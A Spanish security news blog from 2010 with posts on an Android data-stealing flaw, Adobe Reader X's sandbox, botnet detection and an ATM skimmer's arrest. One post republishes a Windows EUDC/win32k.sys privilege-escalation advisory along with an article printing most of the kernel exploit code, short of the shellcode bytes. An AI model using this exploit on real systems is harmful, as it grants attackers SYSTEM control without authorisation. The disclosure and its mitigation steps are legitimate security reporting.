Especiales felicitaciones a las personas que decidieron involucrarse en el concurso a pesar de tener poco tiempo en el mundo de la programación, y a los que no son nuevos pero han tenido complicaciones con sus horarios, y así y todo han sacado tiempo de donde no lo hay para poder estar. Doy fe que se han esforzado bastante para participar y eso vale mucho para todos nosotros.

Espero que se hayan divertido programando y que hayan aprendido algo nuevo en el camino.

Comienzan las votaciones!

Para emitir tu voto, entra aquí!

Lista de aplicaciones:

Grave fallo en Android

2010-11-26T16:21:00.002-03:00

Un fallo que permite que podría permitir al atacante obtener cualquier fichero en principio de la tarjeta SD, pero también podría utilizarse para obtener información y datos alojados en el movil.

Características de la vulnerabilidad:

El navegador no pregunta donde descargar el archivo, automáticamente se descarga en "/sdcard/download/payload.html".

Sabiendo lo anterior, utilizando javascript podemos abrir el archivo malicioso logrando que el navegador muestre el archivo local.

Al abrir un archivo HTML dentro del contexto local, el navegador ejecuta javascript sin advertir al usuario.

Vídeo demostración después del salto.

Fuente: Android Data Stealing Vulnerability

Demostración de la escalada de privilegios en Windows Vista/7 (UAC) en video

2010-11-26T13:26:00.001-03:00

0 day: Elevación de privilegios en Microsoft Windows

2010-11-25T14:43:00.001-03:00

Se ha públicado un nuevo 0 day en Microsoft Windows que permite a un
usuario local obtener privilegios de SYSTEM (control total sobre el
sistema) eludiendo cualquier control de usuario.

Los detalles técnicos se han hecho públicos, así como el código fuente y
el programa necesarios para aprovechar el fallo. El exploit se aprovecha
de la forma en la que el controlador win32k.sys procesa ciertos valores
del registro. En concreto, el exploit manipula el valor
SystemDefaultUEDCFont del registro y activa el soporte para EUDC
(End-User-Defined-Characters) a través de la función EnableEUDC.

Esto quiere decir que el atacante debe crear una clave en el registro
donde un usuario no administrador tiene privilegios para hacerlo. Luego
intenta leerla, provoca el fallo en el driver y obtiene los privilegios.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

-------------------------------------------------------------------
Hispasec - una-al-día 25/11/2010
Todos los días una noticia de seguridad www.hispasec.com
-------------------------------------------------------------------

0 day: Elevación de privilegios en Microsoft Windows
----------------------------------------------------

Se ha públicado un nuevo 0 day en Microsoft Windows que permite a un
usuario local obtener privilegios de SYSTEM (control total sobre el
sistema) eludiendo cualquier control de usuario.

Los detalles técnicos se han hecho públicos, así como el código fuente y
el programa necesarios para aprovechar el fallo. El exploit se aprovecha
de la forma en la que el controlador win32k.sys procesa ciertos valores
del registro. En concreto, el exploit manipula el valor
SystemDefaultUEDCFont del registro y activa el soporte para EUDC
(End-User-Defined-Characters) a través de la función EnableEUDC.

Esto quiere decir que el atacante debe crear una clave en el registro
donde un usuario no administrador tiene privilegios para hacerlo. Luego
intenta leerla, provoca el fallo en el driver y obtiene los privilegios.
La prueba de concepto utiliza esta clave:

HKEY_USERS\[SID DEL USUARIO]\EUDC

La prueba de concepto funciona perfectamente en Windows Vista, 7 y 2008
totalmente parcheados. Tanto si el usuario pertenece al grupo de
usuarios como al de administradores (incluso con la protección UAC
activa), se obtendrán privilegios sin ningún tipo de advertencia por
parte de Windows y por supuesto, sin necesidad de conocer la contraseña.

En Windows XP, la prueba de concepto no funciona (no existe por defecto
esa rama del registro) pero es posible que la vulnerabilidad también le
afecte. La prueba de concepto no es detectada por ningún motor en estos
momentos: VirusTotal

Para que este fallo fuese aprovechado por un atacante o malware, primero
debería acceder al sistema por cualquier otro medio y encontrarse con
que no puede realizar los cambios que desea a causa de los permisos.
Realmente, este no suele ser un impedimento para el malware masivo
(puesto que el usuario medio suele o bien obviar el UAC o bien
deshabilitarlo o bien en XP pertenecer al grupo de administradores). Sí
que es posible que este fallo sea usado en ataques dirigidos o entornos
profesionales, donde los usuarios de escritorio suelen tener privilegios
limitados en el dominio.

Con este fallo, ya son dos problemas de elevación de privilegios que
Microsoft debe arreglar. El fallo anterior fue descubierto en el cuerpo
del famoso troyano Stuxnet. A través del programador de tareas, el
malware era capaz de elevar privilegios en el equipo infectado. Hace
algunos días los detalles de esta vulnerabilidad también se hicieron
públicos.

El equipo de seguridad de Microsoft ha declarado en su twitter que está
investigando el asunto. Un método para prevenir el problema hasta que
exista parche oficial es limitar los permisos del usuario en la rama

HKEY_USERS\[SID DEL USUARIO]\EUDC

En el registro, se debe negar el permiso de escritura a los usuarios no
administradores. Gráficamente, es sencillo (localizar el SID del
usuario, botón derecho sobre la rama del registro y denegar).

Para automatizar el proceso, aconsejamos (aunque puede tener efectos
secundarios, hágalo bajo su responsabilidad) utilizar subinacl.exe, una
herramienta oficial de Microsoft descargable desde aquí.

Una vez instalada, localizar el SID del usuario (normalmente terminará
en 1000) y el nombre de máquina y usuario con el comando:

whoami /user:

INFORMACIÓN DE USUARIO
----------------------

Nombre de usuario SID
==============================================
ordenador\usuario S-1-5-21-123456789-12345677889-123445678990-1000

y ejecutar:

subinacl.exe /subkeyreg "HKEY_USERS\
S-1-5-21-123456789-12345677889-123445678990-1000\EUDC /deny=
ordenador\usuario=w

Esto evitará que el usuario pueda escribir en esa rama y por tanto la
prueba de concepto no funcionará. Repetir para el resto de usuarios en
el equipo si los hubiera.

Opina sobre esta noticia:
http://www.hispasec.com/unaaldia/4415/comentar

Más información:

POC:
http://www.exploit-db.com/sploits/uacpoc.zip

We 're investigating public PoC for a local EoP vuln requiring an
account on the target system
http://twitter.com/msftsecresponse

Fuente Hispasec.

El articulo de CodeProject (que luego fue movido):

Introduction

I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.

The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
Using the code

In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.
Collapse

.text:BF81BA91                 push    esi             ; Environment
.text:BF81BA92                 push    esi             ; Context
.text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
.text:BF81BA98                 push    edi             ; Path
.text:BF81BA99                 lea     eax, [ebp+DestinationString]
.text:BF81BA9C                 push    esi             ; RelativeTo
.text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
.text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
.text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
.text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
.text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
.text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
.text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
.text:BF81BACE                 mov     dword_BFA198FC, esi
.text:BF81BAD4                 mov     dword_BFA19900, esi
.text:BF81BADA                 mov     dword_BFA19904, esi
.text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
.text:BF81BAE6                 mov     [ebp+var_8], eax

Stack trace shows the calling process is as follows:

GDI32.EnableEUDC ->
NtGdiEnableEudc ->
GreEnableEUDC ->
sub_BF81B3B4 ->
sub_BF81BA0B ->
RtlQueryRegistryValues (Overflow occurs)

Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC.
Collapse

// Allocate buffer for the driver
LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));

BYTE* pMem;            // shellcode
DWORD ExpSize = 0;

BYTE RegBuf[0x40] = {0};    // reg binary buffer

pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pMem, Data, sizeof(Data));                // Copy shellcode

*(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer

ExpSize = 0x28;

The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
Collapse

// Get the running kernel file name
HMODULE hDll = GetModuleHandle(L"ntdll.dll");
pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
ULONG AllocSize = 0;
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);

pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);

//Relocation to the running kernel base
DWORD Delta = (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;

free(pModInfo);

// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
// so we need a valid pool address to avoid BSOD.

if(vi.dwBuildNumber < 7600)
{
    FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);

    HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
    AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
    fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

    pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
    fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

    for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
        {
            *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
            break;
        }
    }
    free(pHandleInfo);
}
else
{
    FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
}

// Now fills the API addresses needed
FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
FreeLibrary(hKernel);

// Here we tell the shellcode(PE loader) where the driver buffer is.
FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);

Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
Collapse

UINT codepage = GetACP();
TCHAR tmpstr[256];
_stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));

RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);

__try
{
    EnableEUDC(TRUE);
}
__except(1)
{
}
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegCloseKey(hKey);

After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.
Points of Interest

All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
Additional Information

This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
Windows Vista/2008 6.1.6000 x32,
Windows Vista/2008 6.1.6001 x32,
Windows 7 6.2.7600 x32,
Windows 7/2008 R2 6.2.7600 x64.
Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.

Comenzó el concurso de aplicaciones de elhacker.net!

2010-11-24T10:10:00.000-03:00

En el día de ayer comenzó el periodo de entrega en el concurso de aplicaciones de elhacker.net. Tienes una aplicacion y deseas participar? todavía estas a tiempo! visita elhacker.net!

Quieres ver algunas de las aplicaciones que se han presentado en el concurso?

JawBreaker

DLL Genius

HearBlocdenotas

y muchas mas, visita elhacker.net para ver el resto de las aplicaciones!.

Para los que quieran participar, recuerden que el periodo de entrega finaliza el día 30/11/2010 para dar comienzo a las votaciones.

Adobe publica la versión X de Reader!

2010-11-22T20:59:00.000-03:00

Adobe ha publicado una nueva versión de su amado y odiado lector de pdf. Esta vez no solo para solucionar fallos graves, si no que también para dar un paso importante en materia de seguridad.

Reader ha sido protagonista de multitud de fallos, algunos graves, otros no tanto, pero sin ninguna duda esta entre los primeros puestos si hablamos de software vulnerable. Ya sean expertos en seguridad, desarrolladores de malware, u simples aficionados, Reader siempre fue uno de los flancos mas débiles y mas explotados de Adobe.

Como toda empresa en el mundo, desarrollar un producto proclive a tantos fallos o inseguro termina malogrando la imagen de la empresa. El desarrollo de software por supuesto no es una excepción, dado que desarrollar software tan vulnerable y evidenciar poco esfuerzo en intentar remediar la situacion logro que Adobe tenga una imagen muy mala en materia de seguridad.
Por supuesto, toda empresa en algún momento decide cambiar esa imagen o aunque sea hacer algo para intentarlo, y este es el caso de Adobe.

La característica ya implementada en otras aplicaciones pero novedosa en el Reader es la del modo protegido, basicamente la adicion de una sandbox que aislaría el Reader del resto del sistema evitando así comprometer el sistema en el caso de un intento de explotación.

Los equipos de Adobe llevan trabajando varios meses junto a los equipos de Microsoft, Google Chrome, entre otros. Gente con experiencia en implementar este tipo de modelos en sus respectivos productos.

El modo protegido vendrá activado por defecto y como consecuencia lograría que el Reader se ejecute en un entorno con minimos privilegios. Por supuesto esto no detiene los intentos de explotación pero sirve como una linea de defensa mas en pos de evitar comprometer al sistema.
Cualquier acción potencialmente peligrosa será conducida a través de un proceso llamado "Broker" el cual se encargara de filtrar dichas acciones.

Por supuesto esto no implica que Reader sera invulnerable, pero si lograría dificultar la explotación dado que habría que vulnerar la sandbox, evadir el proceso "Broker" y por supuesto escalar privilegios.

El modo protegido de Adobe esta basado en el modelo de Sandboxing de Microsoft y ya se habían revelado detalles de su implementación en el blog de Adobe.


Inside Adobe Reader protected mode

El modo protegido de Adobe no es perfecto, y de hecho en algunos análisis ya han remarcado algunas de sus debilidades pero definitivamente es un paso importante respecto de las políticas de seguridad de Adobe.
Ojala esto logre aumentar la seguridad de los usuarios de Reader.

Referencias:

Adobe Reader X is here!
http://blogs.adobe.com/asset/2010/11/adobe-reader-x-is-here.html

Introducing Adobe Reader Protected Mode
http://blogs.adobe.com/asset/2010/07/%20introducing-adobe-reader-protected-mode.html

Processor-Dependent Malware

2010-11-18T21:27:00.000-03:00

Anthony Desnos, Robert Erra, and Eric Filiol de l'Ecole Supérieure d'Informatique Electronique Automatique (ESIEA) desarrollaron una prueba de concepto respecto de malware destinado a hardware especifico.

En pos de identificar los distintos procesadores, utilizan la aritmetica de coma flotante (FPA) logrando distinguir entre Intel, AMD, SPARC, Atom, Digital Alpha y Cell.
No explota ninguna vulnerabilidad en el hardware, mas bien se basa en características de los mismos y sus diferencias. El malware, a grandes rasgos, identificaría los distintos procesadores al verificar las diferencias que mantienen realizando ciertos cálculos matemáticos.

Esto vislumbra una posible nueva amenaza en los ataques de espionaje corporativo y la cyberguerra, dado que se pueden identificar grandes cantidades de ordenadores basándose en el hardware que posean, independientemente del sistema operativo que tengan instalado, logrando así atacar en los objetivos deseados y para los cuales el malware esta destinado.

Por otro lado, tomara tiempo para que este tipo de técnicas se utilicen en el malware destinado a usuarios domésticos, ya que realmente no es necesario. Pero posiblemente sea una nueva amenaza para organizaciones y paises atacados día a día por malware desarrollado con un objetivo muy claro y puntual.

Por supuesto esta técnica es solo una herramienta mas, que de por si sola no ayuda a identificar completamente un sistema debido a que para ello se necesitan conocer muchos factores. No obstante, puede ser de utilidad para realizar ataques muy específicos.
Por ejemplo, si un malware esta destinado a atacar sola y exclusivamente a equipos Intel, este podria identificar en una instancia final si el hardware es el deseado para luego proseguir con sus metodos propios de ataque:

El paper completo de la investigacion puede encontrarse aquí.

Hispasec presenta "Lapsec"

2010-11-11T14:41:00.000-03:00

Hispasec ha desarrollado una herramienta destinada a intentar mitigar con un solo click los riesgos más importantes que puede conllevar utilizar un sistema operativo Windows en un portátil. Cada vez que se instala (o se encuentra de serie) un Windows en un ordenador portátil, se deberían realizar los mismos cambios (específicamente útiles para portátiles) para intentar que se mantenga un poco más seguro. Ofrecemos
una herramienta gratuita para automatizar el proceso.

LapSec viene de "Laptop Securer" y es una herramienta destinada a automatizar los cambios más aconsejables para asegurar Windows en un ordenador portátil. Básicamente, aglutina en un solo botón varias
tareas. No está destinado a asegurar "por completo" un sistema, sino que pretende facilitar las modificaciones más importantes para un "bastionado" de ordenador portátil, mucho más susceptible de ser perdido o sustraído.

Evidentemente, estas medidas también son útiles para un ordenador de sobremesa. También es importante destacar que hay más medidas de seguridad aplicables a un portátil en particular y Windows
en general, pero que no han sido implementadas en LapSec por resultar medidas más "genéricas" que se salen del objetivo del programa: activar funcionalidades de seguridad Windows especialmente útiles para
portátiles.

El principal objetivo a la hora de asegurar un portátil es:
a) que nadie acceda al sistema operativo (o al sistema de ficheros)
b) que si accede, la información confidencial esté inaccesible ya sea con cifrado o con borrado seguro.

Con esos objetivos en mente, estas medidas han sido implementadas en el programa:

Eliminar el cifrado LM de las contraseñas (en Vista y 7 no es necesario).

Sobrescribir el archivo de memoria paginada (pagefile.sys)

Ocultar el nombre del usuario que el Sistema Operativo muestra en la pantalla de presentación

Activar la protección por contraseña del salvapantallas.

Eliminar la autoejecución de archivos cuando se introducen unidades extraíbles.

Comprobar la existencia de contraseña del usuario.

Comprobar la complejidad de las contraseñas.

Comprueba la activación de la contraseña en la consola de recuperación.

Deshabilitar el almacenamiento de contraseñas en el navegador Internet Explorer.

Deshabilitar la hibernación (hibernation.sys).

Deshabilitar la cuenta de administrador y de invitado del sistema.

Cifrado de la carpeta Mis Documentos.

Exportación del certificado de forma sencilla para casos de "desastre".

Además de activar estas funcionalidades propias de Windows, añade un sistema de borrado seguro, accesible a través del menú contextual de los archivos.

Puede ser descargado desde

http://www.hispasec.com/lapsec/

Todas las charlas de la EKOParty 2010 en video!

2010-11-07T13:51:00.001-03:00

Understanding the Win SMB NTLM weak nonce vulnerability

Distinguishing Lockpicks: Raking vs Lifting vs Jiggling and More

WPA Migration Mode: WEP is back to haunt you...

Understanding the Low Fragmentation Heap: From Allocation to Exploitation

Web Application Security Payloads

Network-based detection of PE structural anomalies and linker characteristics

Atacando VoIP....un paraiso

2x1 Microsoft Bugs: 'Virtual PC hyper-hole-visor' + 'Windows Creation Vulnerability (MS10-048)'

Token Kidnapping's Revenge

Faraday: A tool to share knowledge

SAP Backdoors: A ghost at the heart of your business

Historias de 0days, Disclosing y otras yerbas

Virtually Pwned: Pentesting VMware

Pentesting Driven by FOCA

Sandboxing based on SECCOMP for Linux kernel

Exploiting Digital Cameras

Wrong Way,.. a Black Hat True Story

iPhone Rootkit? There's an App for That!

Hanging on a ROPe

Padding Oracles Everywhere

Transfering files on isolated remote desktop environments

Jackpotting Automated Teller Machines

Nuevas tecnicas para descubrir botnets sigilosas.

2010-11-05T14:49:00.003-03:00

Investigadores de seguridad han implementado un nuevo método para descubrir botnets que tratan de esconderse detrás de nombres alternativos de dominio.

Supranamaya Ranjan afirma que el y su equipo han para detectar botnets tal como las de Conficker, Kraken y Torping, que utilizan una técnica denominada DNS domain-fluxing para su infraestructura C&C (Command & Control).
Domain-fluxing, también conocido como domain generation algorithm (DGA), genera en forma aleatoria nombres de dominio; el bot realiza peticiones a una serie de nombres de dominio, pero el dominio registrado es solo uno. Para llegar al C&C, los investigadores de las botnets generalmente deben realizar ingeniería inversa al malware bot y descubrir cuales son los dominios generados en forma regular. Un proceso que lleva tiempo y recursos en pos de obtener todos los nombres de dominios que van a ser registrados por la botnet, para poder adelantarse y registrarlos y lograr así un pie dentro de la botnet.

Ranjan dice:

"Botnets such as Kraken, Conficker, and Torpig came up with domain fast-flux, where even the domain name that each bot queries for is randomly generated,
Each bot queries for tens of thousands of domain names hoping that the botnet operator has registered for at least one of them via DNS. Now consider security vendors, who in this situation have no way of predicting which DNS queries are related to a botnet."

Ranjan, desarrollo un método para estudiar en tiempo real el trafico DNS para la actividad de domain-fluxing. Los investigadores presentaron sus descubrimientos en la conferencia "ACM Measurement" en Melbourne.
El método basicamente mira el patrón y distribución de los caracteres alfabéticos en un nombre de dominio para determinar cuales son maliciosos y cuales reales. Esto permite descubrir a los dominios generados algorítmicamente por la botnet.

El domain-fluxing dificulta el rastreo de las botnets, haciendo el trabajo mas dificil para los investigadores.
Jose Nazario -Senior security researcher en Arbor Networks- dice:
"This [domain-fluxing] is obviously a defensive headache for us, but for the attacker it exposes possible future rally points that the good guys can block.
We expect this trend to continue, so the work [here] makes sense: speed up the identification of these in the malcode analysis steps or from packet traces, making analysis more efficient."

Conficker-A, por ejemplo, genera unos 250 dominios diferentes cada 3 horas utilizando la fecha actual y el tiempo (UTC). Los creadores del conficker aumentaron la cifra con Conficker-C, generando acerca de 50.000 nombres de dominio por bot, haciendo mas difícil que los investigadores puedan pre-registrarlos

Este no es el único método para rastrear estas sigilosas botnets. Gunter Ollman, vice presidente de investigación en Damballa, dice que un método basado en un sistema de reputación dinámica desarrollado por investigadores en Georgia Tech funciona bien.
Ollman dice:

"This is probably the most advanced assisted machine-learning approach to the problem. It doesn't require seeing copies of the malware to detect the botnets using domain-fluxing"

Otra tecnica utilizada por Damballa utiliza el llamado análisis NX Domain. Ollman dice que es utilizada desde el 2009. Cuando un dominio generado no existe, el TLD name server responde con una respuesta NX, lo cual implica que el dominio no existe.
Ollman dice

"It's relatively simple to detect at the network level the fluxing attempts by the malware to located these dynamically generated domains, and to also see the number/heuristics of the NX Domain responses from the DNS servers."
"Simple machine-learning algorithms are trained using known data sets for an assortment of malware samples, and the system then automatically detects new, known or suspicious malware infections. The clustering algorithms automatically identify the malware family."

Narus' Ranjan dice que el análisis NX Domain esta limitado en que solo puede encontrar anomalías DNS, cuando muchas peticiones DNS retornan mensajes de fallo, por ejemplo, Ranjan dice:

"So they may be used as a first signal for detecting domain flux. Our methodology goes one step further and we can distinguish between cases of legitimate queries that are returning failure responses -- due to network failures -- versus domain flux queries,"

El dice que su método difiere del de Georgia Tech en que utiliza estadísticas mas detalladas acerca de los nombres de dominio.

Algunas botnets utilizan tanto domain fast-flux como IP fast-flux. IP fast-flux es un método donde los bots infectados sirven como proxies o host para webs maliciosas y están en constante rotación cambiando sus registros DNS para prevenir ser descubiertas por los investigadores, ISPs, o autoridades policiales. Ranjan dice que su método de detección también funciona para detectar IP fast-flux.

Mientras probaban este prototipo contra trafico en vivo, los investigadores han descubierto nuevo comportamiento en una botnet que han denominado "Storm2.0". La asignación de nombres de dominio a la dirección de C&C IP del servidor se compone de dos palabras del idioma Inglés. Un comportamiento similar es observado en la original botnet "Storm", donde los nombres de dominio estaban compuestos de una palabra del idioma Inglés y una cadena generada en forma aleatoria.

Ranjan dice que las organizaciones necesitan incorporar este tipo de análisis en pos de dar batalla a las botnets.
Ranjan dice:
"A system such as ours should be the first alarm that goes off whenever a new domain fast-flux botnet becomes active. After that an organization can take steps to capture the traffic corresponding to the IP addresses suspected to harbor such bots and examine them further to develop signatures.
But not the other way around, where previously researchers had to scramble to discover the exact algorithm used by Conficker and only then did they register all the domain names that Conficker was going to query for."

Detalles técnicos de la investigación están disponibles aquí.

Fuente: DarkReading

¡Estrenamos Twitter!

2010-11-04T14:22:00.001-03:00

A partir de ahora, nos podes seguir en twitter desde http://twitter.com/needofsecurity y podras enterarte todo desde allí.

[Historias] El rey de los cajeros.

2010-11-03T21:33:00.003-03:00

Los cajeros automáticos suelen ser motivo de atención para una gran variedad de delincuentes, desde simples asaltantes hasta organizaciones mafiosas.
La metodología de robo y estafa puede ser un tanto rustica o un poco mas elaborada. Algunos malvivientes optan por esperar a la salida del cajero a que las victimas terminen de retirar su dinero, otros secuestran personas - a veces con inteligencia mediante para conseguir un objetivo adinerado o simplemente al azar- para obligarlos a retirar dinero del cajero.
Otros, un tanto mas ingeniosos, obstaculizan la salida del dinero con una cinta u barra solida oscura, para que la victima piense que hay algún problema con su cuenta e ingrese al banco a quejarse. En el lapsus de tiempo que el cajero queda vacio mientras la victima se queja, el malviviente ingresa al cajero y destapa la salida del dinero para retirar lo que antes , se creyó, no había salido en primera instancia.

Otros, con mas esfuerzo y un tanto mas de ingenio, implantan cajeros falsos en lugares donde las victimas adineradas abunden. Esquinas de casinos, casas de cambio u de apuestas, estaciones de servicio etc. Lugares donde uno pueda clonar las suficientes tarjetas en el menor tiempo posible.
Los delincuentes optan ya sea por vaciar las cuentas, o bien vender los datos al mejor postor. Otros optan por clonar los datos y venderlos, otros hacen compras por internet, etc.
Estas claves, como verán, pueden terminar en una variedad de destinos bastante extensa, pero su perdida ocasiona para las victimas una sola consecuencia: La perdida de dinero y tiempo.

No obstante, algunos deciden dar un paso mas alla e implementar sistemas de robo mas sofisticados. Eso fue lo que hizo Fernando Gabriel Pereiro, denominado "El rey de los robos a los cajeros automáticos".
Este delincuente de 31 años, inicio su carrera criminal a los 23. En ese momento clonaba tarjetas de credito de American Express, las cuales vendía y/o utilizaba para sus propios fines. Para ello, se habia valido de un dispositivo que copiaba la banda magnética del plastico original.

Con el correr de los años, Fernando perfecciono su sistema de estafa para igualarlo con los sistemas que ya se usaban en Brasil y en otras partes del mundo, fraude conocido como Skimming. Este contaba con un falso teclado que registraba y guardaba las claves, y un dispositivo que se instalaba en la ranura donde se ingresa la tarjeta para copiar la banda magnética de la misma. Solo quedaba instalar los dispositivos, dejar pasar el tiempo, y luego ingresar una tarjeta virgen para cargar los datos que habían sido guardados y utilizarlos para su enriquecimiento personal.

El problema que tenían -y tienen- las autoridades con este sistema, es que era casi imposible saber donde los datos habían sido clonados. Dado esto, las autoridades tuvieron que disponer de un equipo especial para recibir las solicitudes y quejas de las victimas, para de esta forma tener una noción de la zona en la cual Fernando Pereiro estaba trabajando.

Las primeras pistas comenzaron a aparecer en septiembre del 2005. Fernando había instalado su sistema en un cajero ubicado en las inmediaciones de los tribunales de San Nicolas, en donde pudo reunir unas 974 claves y hacerse de 250 mil pesos. En la lista de victimas se encontraba un juez, funcionarios de la Justicia, policías y hasta un sacerdote.
Según el reporte de Migraciones, Fernando viajo con su familia a Europa y Medio Oriente, poco se sabe si fue viaje de negocios o de placer.
A su regreso, volvio a sus respectivas actividades delictivas.

Como la mayoría de delincuentes de este tipo, por suerte cometen errores. Errores que por su simpleza nos hacen pensar que tal vez no sean tan inteligentes como uno piensa, o peor aun, que se sientan impunes.
Fernando tenia una pasión y un gusto bastante exacerbado por los vehículos de alta categoría. Esto lo llevo a adquirir una camioneta 4x4 Lincoln Navigator.
Tal vez, el razonamiento que lo llevo a moverse en un vehículo tan exclusivo fue el pensar que al ser tan caro iba a llamar menos la atención, pero lamentablemente para el fue todo lo contrario.

Los investigadores ya lo tenían en la mira, y se habían enterado de la adquisición de esta camioneta. El resultado fue un espectro de vehículos a buscar mucho, muchísimo, mas estrecho, ya que solo había 4 camionetas iguales en el país.
El 8 de diciembre de 2008, un móvil de la Comisaría 16ª advirtió el paso de su 4x4 e inició una persecución que terminó en la esquina de Brasil y Tacuarí, en el barrio porteño de Monserrat. Fernando Pereiro se estrelló contra un poste y fue detenido.

Fernando Gabriel Pereiro atrapado. Clarin.

Todo apuntaba a que su carrera criminal había terminado, pero 1 año después, fingió una dolencia pulmonar que obligo a que sea trasladado al Hospital Argerich, donde pudo fugarse.
